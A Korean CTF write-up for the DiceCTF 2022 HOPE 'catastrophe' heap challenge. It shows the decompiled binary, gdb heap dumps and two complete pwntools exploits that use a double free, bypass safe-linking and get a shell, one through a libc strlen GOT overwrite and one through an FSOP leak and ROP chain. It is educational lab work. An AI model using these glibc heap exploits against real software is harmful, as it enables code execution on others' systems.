Source
https://github.com/dicegang/hope-2022-challenges/tree/master/pwn/catastrophe/bin
https://ctftime.org/writeup/34812
checksec
seo@seo:~/study/DiceCTF2022Hope/catastrophe$ checksec ./catastrophe [*] '/home/seo/study/DiceCTF2022Hope/catastrophe/catastrophe' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
Docker configure
sudo docker build . -t catastrophe sudo docker run -it --rm --privileged --security-opt seccomp=unconfined --user root -p 1337:1337 -p 22222:22222 -p 12345:1234 catastrophe sh
- Host
$ nc -lp 1338 > libc.so.6 $ nc -lp 1338 > ld-linux-x86-64.so.2
- Guest
# cat /srv/lib/x86_64-linux-gnu/libc.so.6 | nc 172.17.0.1 1338 # cat /srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 | nc 172.17.0.1 1338
Environment
Ubuntu 22.04 LTS / Ubuntu GLIBC 2.35-0ubuntu3
Decompiled-src
- 인덱스별 최대 10개의 청크까지 메모리 주소 저장이 가능.
- 할당 가능한 malloc 크기는 0x200을 초과하거나 0이 되면 안됨.
- free시 전역변수에 저장된 chunks 배열에는 여전히 남아있음.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { unsigned __int64 number; // rax setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); while ( 1 ) { print_menu(); number = get_number(); if ( number == 4 ) { puts("Bye!"); exit(0); } if ( number <= 4 ) { switch ( number ) { case 3uLL: op_view(); goto LABEL_13; case 1uLL: op_malloc(); goto LABEL_13; case 2uLL: op_free(); goto LABEL_13; } } puts("Invalid choice!"); LABEL_13: putchar(10); } } int print_menu() { puts("--- menu ---"); puts("1) malloc"); puts("2) free"); puts("3) view"); puts("4) leave"); return puts("------------"); } unsigned __int64 get_number() { char s[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); printf("> "); fgets(s, 16, stdin); return strtoull(s, 0, 10); } int op_view() { __int64 index; // [rsp+8h] [rbp-8h] puts("Index?"); index = get_index(); return puts(*((const char **)&chonks + index)); } int op_malloc() { __int64 index; // [rsp+0h] [rbp-10h] unsigned __int64 size; // [rsp+8h] [rbp-8h] puts("Index?"); index = get_index(); puts("Size?"); size = get_number(); if ( !size || size > 0x200 ) return puts("Interesting..."); *((_QWORD *)&chonks + index) = malloc(size); printf("Enter content: "); return (unsigned int)fgets(*((char **)&chonks + index), size, stdin); } void op_free() { __int64 index; // [rsp+8h] [rbp-8h] puts("Index?"); index = get_index(); free(*((void **)&chonks + index)); } unsigned __int64 get_index() { unsigned __int64 number; // [rsp+8h] [rbp-8h] while ( 1 ) { number = get_number(); if ( number <= 9 ) break; puts("Invalid!"); } return number; }
Solution (fastbin_dup 기법을 통해 AAW 얻기)
1. unsorted bin을 이용하여 fd값을 통해 libc base 주소 구하기.
충분히 tcache에 가득채우기 위해 8번 할당시키고, 처음 기준 7번 할당 해제한다.
unsorted bin 타입이여야 fd, bk 값을 통해 libc 주소를 leak할 수 있기에, 0x100으로 malloc 시켜줬다.
for i in range(8): malloc(i, 0x100, b"A"*8) malloc(8, 0x100, b"B"*8) for i in range(7): free(i)
- 결과
gdb-peda$ x/16gx 0x5b3fb20ab060 0x5b3fb20ab060 <chonks>: 0x00005b3fcb4772a0 0x00005b3fcb4773b0 0x5b3fb20ab070 <chonks+16>: 0x00005b3fcb4774c0 0x00005b3fcb4775d0 0x5b3fb20ab080 <chonks+32>: 0x00005b3fcb4776e0 0x00005b3fcb4777f0 0x5b3fb20ab090 <chonks+48>: 0x00005b3fcb477900 0x00005b3fcb477a10 0x5b3fb20ab0a0 <chonks+64>: 0x00005b3fcb477b20 0x0000000000000000 0x5b3fb20ab0b0: 0x0000000000000000 0x0000000000000000 0x5b3fb20ab0c0: 0x0000000000000000 0x0000000000000000 0x5b3fb20ab0d0: 0x0000000000000000 0x0000000000000000 gdb-peda$ parseheap addr prev size status fd bk 0x5b3fcb477000 0x0 0x290 Used None None 0x5b3fcb477290 0x0 0x110 Freed 0x5b3fcb477 None 0x5b3fcb4773a0 0x0 0x110 Freed 0x5b3a78bbc6d7 None 0x5b3fcb4774b0 0x0 0x110 Freed 0x5b3a78bbc7c7 None 0x5b3fcb4775c0 0x0 0x110 Freed 0x5b3a78bbc0b7 None 0x5b3fcb4776d0 0x0 0x110 Freed 0x5b3a78bbc1a7 None 0x5b3fcb4777e0 0x0 0x110 Freed 0x5b3a78bbc297 None 0x5b3fcb4778f0 0x0 0x110 Freed 0x5b3a78bbc387 None 0x5b3fcb477a00 0x0 0x110 Freed 0x750f4801ace0 0x750f4801ace0 0x5b3fcb477b10 0x110 0x110 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5b3fcb477c20 (size : 0x203e0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x5b3fcb477a00 (size : 0x110) (0x110) tcache_entry[15](7): 0x5b3fcb477900 --> 0x5b3fcb4777f0 --> 0x5b3fcb4776e0 --> 0x5b3fcb4775d0 --> 0x5b3fcb4774c0 --> 0x5b3fcb4773b0 --> 0x5b3fcb4772a0 gdb-peda$
free chunk에 해당되는 0x5b3fcb477a00 청크를 살펴보자.
glibc 2.32 버전부터 safe-linking 보호기법이 적용되있으나
unsorted bin은 적용되지 않아 base 주소를 쉽게 구할 수 있다.
gdb-peda$ x/16gx 0x5b3fcb477a00 0x5b3fcb477a00: 0x0000000000000000 0x0000000000000111 0x5b3fcb477a10: 0x0000750f4801ace0 0x0000750f4801ace0 0x5b3fcb477a20: 0x0000000000000000 0x0000000000000000 0x5b3fcb477a30: 0x0000000000000000 0x0000000000000000 0x5b3fcb477a40: 0x0000000000000000 0x0000000000000000 0x5b3fcb477a50: 0x0000000000000000 0x0000000000000000 0x5b3fcb477a60: 0x0000000000000000 0x0000000000000000 0x5b3fcb477a70: 0x0000000000000000 0x0000000000000000 gdb-peda$
아래와 같이 복호화시키고 libc 베이스 주소를 구하면 된다.
- 최종 코드
def decrypt(cipher): key = 0 plain = 0 for i in range(1, 6): bits = 64-12*i if bits < 0: bits = 0 plain = ((cipher ^ key) >> bits) << bits key = plain >> 12 return plain # 1. unsorted bin을 이용하여 fd값을 통해 libc base 주소 구하기. for i in range(8): malloc(i, 0x100, b"A"*8) malloc(8, 0x100, b"B"*8) for i in range(8): free(i) leak = view(7) libc_base = rl().split(b'\n')[0] libc_base = uu64(libc_base) - 0x21ace0 # libc_base = uu64(libc_base) - 0x219ce0 info(f"libc_base: {hex(libc_base)}") l.address = libc_base free(8) #clean
- 결과
seo@seo:~/study/DiceCTF2022Hope/catastrophe$ python3 solve2.py [+] Starting local process './catastrophe.bak': pid 5465 [*] libc_base: 0x7a0998600000
2. fastbin_dup 기법을 통해 할당받으려는 주소를 임의 조작하기.
0x10크기로 malloc을 10번 수행해준다.
이후 7번 할당해제시키면, (0x20) tcache_entry[0](7)
를 살펴봤을때 tcache에 가득 담긴걸 확인할 수 있다.
이후 같은 크기 청크를 할당해제한다면, 이제 fastbin에 담긴다.
# 2. fastbin_dup 기법을 통해 할당받으려는 주소를 임의 조작하기. for i in range(10): malloc(i, 0x10, b"A"*8) for i in range(7): free(i)
- 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5cbb5db7eb40 (size : 0x204c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x5cbb5db7ead0 --> 0x5cbb5db7eab0 --> 0x5cbb5db7ea90 --> 0x5cbb5db7ea70 --> 0x5cbb5db7ea50 --> 0x5cbb5db7ea30 --> 0x5cbb5db7ea10 (0x110) tcache_entry[15](7): 0x5cbb5db7e900 --> 0x5cbb5db7e7f0 --> 0x5cbb5db7e6e0 --> 0x5cbb5db7e5d0 --> 0x5cbb5db7e4c0 --> 0x5cbb5db7e3b0 --> 0x5cbb5db7e2a0 gdb-peda$
fastbin dup / Double-free 버그 트리거함.
free(7) # A idx 7 : A linked into fastbin free(8) # B idx 8 : B linked into fastbin free(7) # A idx 7 : A linked into fastbin again
- 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x56ddf01aaae0 --> 0x56ddf01aab00 --> 0x56ddf01aaae0 (overlap chunk with 0x56ddf01aaae0(freed) ) ...
idx 8의 fd 값을 복호화함.
view(8) leak = rl().split(b"\n")[0] enc_fd = uu64(leak) info(f"enc_fd: {hex(enc_fd)}") orig_fd = decrypt(enc_fd) info(f"orig_fd: {hex(orig_fd)}") #enc_fd = (orig_fd) ^ (heap_base >> 12) heap_base_rshifted_12 = orig_fd ^ enc_fd info(f"heap_base_rshifted_12: {hex(heap_base_rshifted_12)}")
- 결과
[*] enc_fd: 0x58ef8e074094 [*] orig_fd: 0x58ea00a74ae0 [*] heap_base_rshifted_12: 0x58ea00a74
tcache를 비우기 위해 malloc(0x10)을 7번 수행함.
#empty tcache for i in range(7): malloc(i, 0x10, b"C"*8)
- Before 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x600b54a53ae0 --> 0x600b54a53b00 --> 0x600b54a53ae0 (overlap chunk with 0x600b54a53ae0(freed) ) (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x600b54a53b40 (size : 0x204c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x600b54a53ad0 --> 0x600b54a53ab0 --> 0x600b54a53a90 --> 0x600b54a53a70 --> 0x600b54a53a50 --> 0x600b54a53a30 --> 0x600b54a53a10 (0x110) tcache_entry[15](7): 0x600b54a53900 --> 0x600b54a537f0 --> 0x600b54a536e0 --> 0x600b54a535d0 --> 0x600b54a534c0 --> 0x600b54a533b0 --> 0x600b54a532a0 gdb-peda$
- After 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x600b54a53ae0 --> 0x600b54a53b00 --> 0x600b54a53ae0 (overlap chunk with 0x600b54a53ae0(freed) ) (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x600b54a53b40 (size : 0x204c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x110) tcache_entry[15](7): 0x600b54a53900 --> 0x600b54a537f0 --> 0x600b54a536e0 --> 0x600b54a535d0 --> 0x600b54a534c0 --> 0x600b54a533b0 --> 0x600b54a532a0
libc base 주소의 strlen got ← system 함수, AAW 수행
- 이제 할당시 malloc idx0와 malloc idx2는 같은 주소를 가리킴.
- malloc idx2 할당하기 전에, malloc idx0에 AAW할 대상 주소 결정. (libc의 strlen@got 주소)
- 이는 추후, malloc idx3에서 할당받아 값을 AAW할 수 있음. (system 함수)
- idx 1또는 2에서 sh 값을 적어둔뒤, view를 통해 호출하면 puts 내부함수의 strlen에서 system 함수가 수행됨.
where = (l.got.strlen-8) ^ heap_base_rshifted_12 what = l.sym.system;ip() malloc(0, 0x10, p64(where));#ip() #0x5df205c0eaf0 malloc(1, 0x10, b"D"*8);#ip() #0x5df205c0eb10 malloc(2, 0x10, b"sh\x00");#ip() #0x5df205c0eaf0 malloc(3, 0x10, b"\x00" * 8 + p64(what)) #0x7ecd3181a090 view(2)
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import sys p = process("./catastrophe.bak") e = ELF('./catastrophe.bak',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # l = ELF('./libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() def malloc(idx, size, content): if(idx > 10): info("idx is too big") sys.exit(1) sla("> ", "1") sla("> ", str(idx)) sla("> ", str(size)) sla(b"Enter content: ", content) def free(idx): if(idx > 10): info("idx is too big") sys.exit(1) sla("> ", "2") sla("> ", str(idx)) def view(idx): if(idx > 10): info("idx is too big") sys.exit(1) sla("> ", "3") sla("> ", str(idx)) def decrypt(cipher): key = 0 plain = 0 for i in range(1, 6): bits = 64-12*i if bits < 0: bits = 0 plain = ((cipher ^ key) >> bits) << bits key = plain >> 12 return plain # 1. unsorted bin을 이용하여 fd값을 통해 libc base 주소 구하기. for i in range(8): malloc(i, 0x100, b"A"*8) malloc(8, 0x100, b"B"*8) for i in range(8): free(i) leak = view(7) libc_base = rl().split(b'\n')[0] libc_base = uu64(libc_base) - 0x21ace0 # libc_base = uu64(libc_base) - 0x219ce0 info(f"libc_base: {hex(libc_base)}") l.address = libc_base free(8) #clean # 2. fastbin_dup 기법을 통해 할당받으려는 주소를 임의 조작하기. for i in range(10): malloc(i, 0x10, b"A"*8) for i in range(7): free(i) free(7) # A idx 7 : A linked into fastbin free(8) # B idx 8 : B linked into fastbin free(7) # A idx 7 : A linked into fastbin again view(8) leak = rl().split(b"\n")[0] enc_fd = uu64(leak) info(f"enc_fd: {hex(enc_fd)}") orig_fd = decrypt(enc_fd) info(f"orig_fd: {hex(orig_fd)}") #enc_fd = (orig_fd) ^ (heap_base >> 12) heap_base_rshifted_12 = orig_fd ^ enc_fd info(f"heap_base_rshifted_12: {hex(heap_base_rshifted_12)}") #empty tcache for i in range(7): malloc(i, 0x10, b"C"*8) #enc_fd = (orig_fd) ^ (heap_base >> 12) where = (l.got.strlen-8) ^ heap_base_rshifted_12 what = l.sym.system malloc(0, 0x10, p64(where));#ip() #0x5df205c0eaf0 malloc(1, 0x10, b"D"*8);#ip() #0x5df205c0eb10 malloc(2, 0x10, b"sh\x00");#ip() #0x5df205c0eaf0 malloc(3, 0x10, b"\x00" * 8 + p64(what)) #0x7ecd3181a090 view(2) pi()
Result
... x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00> $ i id id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) $ whoami seo $ [*] Interrupted [*] Stopped process './catastrophe.bak' (pid 6521) seo@seo:~/study/DiceCTF2022Hope/catastrophe$
BONUS
https://ctftime.org/writeup/34812
만약 libc@got 영역의 strlen 주소를 못쓰는 경우 FSOP 기법을 통해 ROP으로 쉘을 따는 방법이 있는것같다.
solve 스크립트를 간단하게 살펴보자.
요약:
# 1. Defeat safe-linking # malloc(0x100) 7번 할당시키고 0번 인덱스를 free시켜 fd값을 알아낸다음, 다시 0번쨰 인덱스 할당. # 2. # 7,8 인덱스에 malloc(0x100)을 더 하지만, 9번 인덱스부터는 malloc(0x10)으로 "/bin/sh" 저장. # 3. # 0~6번째 인덱스를 free 시키고 # 4. # fastbin_dup 트리거? free(8)-free(7)-malloc(0x100, dummy)-free(8) # free(7) 이후, view(8)으로 fd값을 통해 libc base 주소 획득 # 5. # 이후 malloc(1, 0x130)에 fake chunk 구성. # malloc(2, 0x100, dummy) 구성. # malloc(3, 0x100, fsop chain) 구성시켜 스택주소 누출. # 6. # free(1) - free(2)이후, malloc(5, 0x130, fake chunk) 구성. # malloc(2, 0x100, dummy) - malloc(3, 0x100, stack + rop chain) 구성.
1.
우선은 safe-linking 보호기법을 간파하기 위한것으로 보인다.
free된 idx0에는 fd가 남는데, 이를 통해 heap base 주소를 획득한다.
... for i in range(7): malloc(i, 0x100, b"") free(0) view(0) heap = ((u64(p.recvline()[:-1].ljust(8, b"\x00")) << 12)) info(f"heap @ {hex(heap)}") # then we defeated safe linking lol
- 결과
gdb-peda$ x/16gx &chonks 0x594f48907060 <chonks>: 0x0000594f4ff2c2a0 0x0000594f4ff2c3b0 0x594f48907070 <chonks+16>: 0x0000594f4ff2c4c0 0x0000594f4ff2c5d0 0x594f48907080 <chonks+32>: 0x0000594f4ff2c6e0 0x0000594f4ff2c7f0 0x594f48907090 <chonks+48>: 0x0000594f4ff2c900 0x0000000000000000 0x594f489070a0 <chonks+64>: 0x0000000000000000 0x0000000000000000 0x594f489070b0: 0x0000000000000000 0x0000000000000000 0x594f489070c0: 0x0000000000000000 0x0000000000000000 0x594f489070d0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/8gx 0x0000594f4ff2c2a0 0x594f4ff2c2a0: 0x0000000594f4ff2c 0xd727fc9de02a60ea 0x594f4ff2c2b0: 0x0000000000000000 0x0000000000000000 0x594f4ff2c2c0: 0x0000000000000000 0x0000000000000000 0x594f4ff2c2d0: 0x0000000000000000 0x0000000000000000 gdb-peda$ heapbase heapbase : 0x594f4ff2c000 gdb-peda$ p/x 0x0000000594f4ff2c<<12 $2 = 0x594f4ff2c000
2.
free시켰던걸로 다시 같은 0x100 크기로 malloc하고 (malloc(0, 0x100, b"YY")
),
추후 fastbin_dup을 트리거시키기 위해 3번더 0x100크기만큼 malloc 시킨다.
특이사항으로 idx9에서 0x10 크기로 malloc하여 /bin/sh 문자열을 놓는다.
... malloc(0, 0x100, b"YY") malloc(7, 0x100, b"YY") malloc(8, 0x100, b"YY") malloc(9, 0x10, b"/bin/sh\0")
gdb-peda$ x/16gx &chonks 0x55a59a8a2060 <chonks>: 0x000055a5d54732a0 0x000055a5d54733b0 0x55a59a8a2070 <chonks+16>: 0x000055a5d54734c0 0x000055a5d54735d0 0x55a59a8a2080 <chonks+32>: 0x000055a5d54736e0 0x000055a5d54737f0 0x55a59a8a2090 <chonks+48>: 0x000055a5d5473900 0x000055a5d5473a10 0x55a59a8a20a0 <chonks+64>: 0x000055a5d5473b20 0x000055a5d5473c30 0x55a59a8a20b0: 0x0000000000000000 0x0000000000000000 0x55a59a8a20c0: 0x0000000000000000 0x0000000000000000 0x55a59a8a20d0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/s 0x000055a5d5473c30 0x55a5d5473c30: "/bin/sh"
3.
tcache를 가득 채우기 위해 처음기준 idx0부터 7번 free 시킨다.
for i in range(7): free(i)
- 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5c73fe7eac40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x110) tcache_entry[15](7): 0x5c73fe7ea900 --> 0x5c73fe7ea7f0 --> 0x5c73fe7ea6e0 --> 0x5c73fe7ea5d0 --> 0x5c73fe7ea4c0 --> 0x5c73fe7ea3b0 --> 0x5c73fe7ea2a0
4.이제 idx9에 100크기만큼 (0x100과 다름) 할당시켰다 다시 free 해준다.
의도는 아직까진 잘 모르겠다…? 아무튼 free를 했으니 0x70 tcache로 들어간다.
사실 해당 작업 안해도, 쉘 따지는거 확인.
malloc(9, 100, b"YY") free(9)
- 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x560b807d5cb0 (size : 0x20350) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x70) tcache_entry[5](1): 0x560b807d5c50 (0x110) tcache_entry[15](7): 0x560b807d5900 --> 0x560b807d57f0 --> 0x560b807d56e0 --> 0x560b807d55d0 --> 0x560b807d54c0 --> 0x560b807d53b0 --> 0x560b807d52a0
5.
이전 3번 과정에서 tcache를 채웠다면, 이제는 unsorted bin으로 들어갈 차례다.
idx8, idx7를 free하고, idx8에 적힌 fd 값을 통해 libc base 주소를 구한다.
free(8) free(7) view(8) l.address = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x21ace0 # - 0x1bebe0 # offset of the unsorted bin rop = ROP(l) binsh = next(l.search(b"/bin/sh\x00")) rop.execve(binsh, 0, 0) environ = l.sym.environ stdout = l.sym._IO_2_1_stdout_ info(f"libc: {hex(l.address)}") info(f"environ: {hex(environ)}") info(f"stdout: {hex(stdout)}")
- 결과
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5bc4cfc0ac40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x5bc4cfc0aa00 (size : 0x220) (0x110) tcache_entry[15](7): 0x5bc4cfc0a900 --> 0x5bc4cfc0a7f0 --> 0x5bc4cfc0a6e0 --> 0x5bc4cfc0a5d0 --> 0x5bc4cfc0a4c0 --> 0x5bc4cfc0a3b0 --> 0x5bc4cfc0a2a0
6.
idx0에 0x100만큼 malloc하고, idx8을 double-free시킨다.
malloc(0, 0x100, b"YY") free(8)
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5ace26a32c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x5ace26a32a00 (overlap chunk with 0x5ace26a32b10(freed) ) (0x110) tcache_entry[15](7): 0x5ace26a32b20 --> 0x5ace26a327f0 --> 0x5ace26a326e0 --> 0x5ace26a325d0 --> 0x5ace26a324c0 --> 0x5ace26a323b0 --> 0x5ace26a322a0 gdb-peda$
7.
idx1에 0x130크기만큼 메모리를 할당하는데, fake chunk를 구성하는것처럼 보인다.
- mchunk_size = 0x111
- stdout 주소에 safe-linking 보호기법 적용
idx2에는 0x100크기만큼 malloc하고,
idx3에서 0x100크기만큼 malloc할때의 주소는 이제 libc의 IO_2_1_stdout 함수를 가리킨다.
file structure 구조체를 조작하면, stack 주소를 릭되어 stack base 주소를 구할 수 있다.
malloc(1, 0x130, b"T"*0x108 + p64(0x111) + p64((stdout ^ ((heap + 0xb20) >> 12)))) malloc(2, 0x100, b"TT") malloc(3, 0x100, p32(0xfbad1800) + p32(0) + p64(environ)*3 + p64(environ) + p64(environ + 0x8)*2 + p64(environ + 8) + p64(environ + 8)) stack = u64(p.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted bin info(f"stack: {hex(stack)}")
8.
idx1, 2를 free시키고, 다시한번 AAW 구성을 하려는것처럼 보인다.
idx5에서 0x130크기만큼 메모리를 할당하고 fake chunk를 구성한다.
여기서 mchunk_size는 0x111, 스택 주소가 safe-linking 적용되어 함께 들어간다.
idx2에서 다시 0x100크기만큼 malloc하고,
idx3에서 스택 주소를 할당받게 되어 (정확히는 op_malloc함수에서의 rbp) rop chain이 써져
execve(”sh”, 0, 0)을 수행하게 만든다.
free(1) # large free(2) malloc(5, 0x130, b"T"*0x108 + p64(0x111) + p64((stack ^ ((heap + 0xb20) >> 12)))) malloc(2, 0x100, b"TT") malloc(3, 0x100, p64(stack) + rop.chain()) # overwrite sRBP for nothing lmao
- solve_rop.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import sys p = process("./catastrophe.bak") e = ELF('./catastrophe.bak',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # l = ELF('./libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() def malloc(idx, size, content): if(idx > 10): info("idx is too big") sys.exit(1) sla("> ", "1") sla("> ", str(idx)) sla("> ", str(size)) sla(b"Enter content: ", content) def free(idx): if(idx > 10): info("idx is too big") sys.exit(1) sla("> ", "2") sla("> ", str(idx)) def view(idx): if(idx > 10): info("idx is too big") sys.exit(1) sla("> ", "3") sla("> ", str(idx)) def decrypt(cipher): key = 0 plain = 0 for i in range(1, 6): bits = 64-12*i if bits < 0: bits = 0 plain = ((cipher ^ key) >> bits) << bits key = plain >> 12 return plain # 1. Defeat safe-linking # malloc(0x100) 7번 할당시키고 0번 인덱스를 free시켜 fd값을 알아낸다음, 다시 0번쨰 인덱스 할당. for i in range(7): malloc(i, 0x100, b"") free(0) view(0) heap = ((u64(p.recvline()[:-1].ljust(8, b"\x00")) << 12)) info(f"heap @ {hex(heap)}") # then we defeated safe linking lol malloc(0, 0x100, b"YY") # 2. 7,8 인덱스에 malloc(0x100)을 더 하지만, 9번 인덱스부터는 malloc(0x10)으로 "/bin/sh" 저장. malloc(7, 0x100, b"YY") malloc(8, 0x100, b"YY") malloc(9, 0x10, b"/bin/sh\0") # 3. 0~6번째 인덱스를 free 시키고 for i in range(7): free(i) # 4. # fastbin_dup 트리거. free(8)-free(7)-malloc(0x100, dummy)-free(8) # free(7) 이후, view(8)으로 fd값을 통해 libc base 주소 획득 free(8) free(7) view(8) l.address = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x21ace0 # - 0x1bebe0 # offset of the unsorted bin rop = ROP(l) binsh = next(l.search(b"/bin/sh\x00")) rop.execve(binsh, 0, 0) environ = l.sym.environ stdout = l.sym._IO_2_1_stdout_ info(f"libc: {hex(l.address)}") info(f"environ: {hex(environ)}") info(f"stdout: {hex(stdout)}") # ip() #0x556190f0d900 malloc(0, 0x100, b"YY") free(8) # 5. # 이후 malloc(1, 0x130)에 fake chunk 구성. # malloc(2, 0x100, dummy) 구성. # malloc(3, 0x100, fsop chain) 구성시켜 스택주소 누출. #0x556190f0da10 malloc(1, 0x130, b"T"*0x108 + p64(0x111) + p64((stdout ^ ((heap + 0xb20) >> 12)))) #0x556190f0db20 malloc(2, 0x100, b"TT") #0x7d3a1821b780 (libc: 0x7d3a18000000) malloc(3, 0x100, p32(0xfbad1800) + p32(0) + p64(environ)*3 + p64(environ) + p64(environ + 0x8)*2 + p64(environ + 8) + p64(environ + 8)) stack = u64(p.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted bin info(f"stack: {hex(stack)}") # 6. # free(1) - free(2)이후, malloc(5, 0x130, fake chunk) 구성. # malloc(2, 0x100, dummy) - malloc(3, 0x100, stack + rop chain) 구성. free(1) # large free(2) malloc(5, 0x130, b"T"*0x108 + p64(0x111) + p64((stack ^ ((heap + 0xb20) >> 12)))) malloc(2, 0x100, b"TT") # ip() malloc(3, 0x100, p64(stack) + rop.chain()) # overwrite sRBP for nothing lmao p.interactive()
- solve_rop.py result
python3 solve_rop.py [+] Starting local process './catastrophe.bak': pid 21248 [*] heap @ 0x562d51e2e000 [*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6' [*] libc: 0x7f477fff1000 [*] environ: 0x7f4780213200 [*] stdout: 0x7f478020c780 [*] stack: 0x7ffcdeec4a50 [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) $ whoami ubuntu $ [*] Interrupted [*] Stopped process './catastrophe.bak' (pid 21248)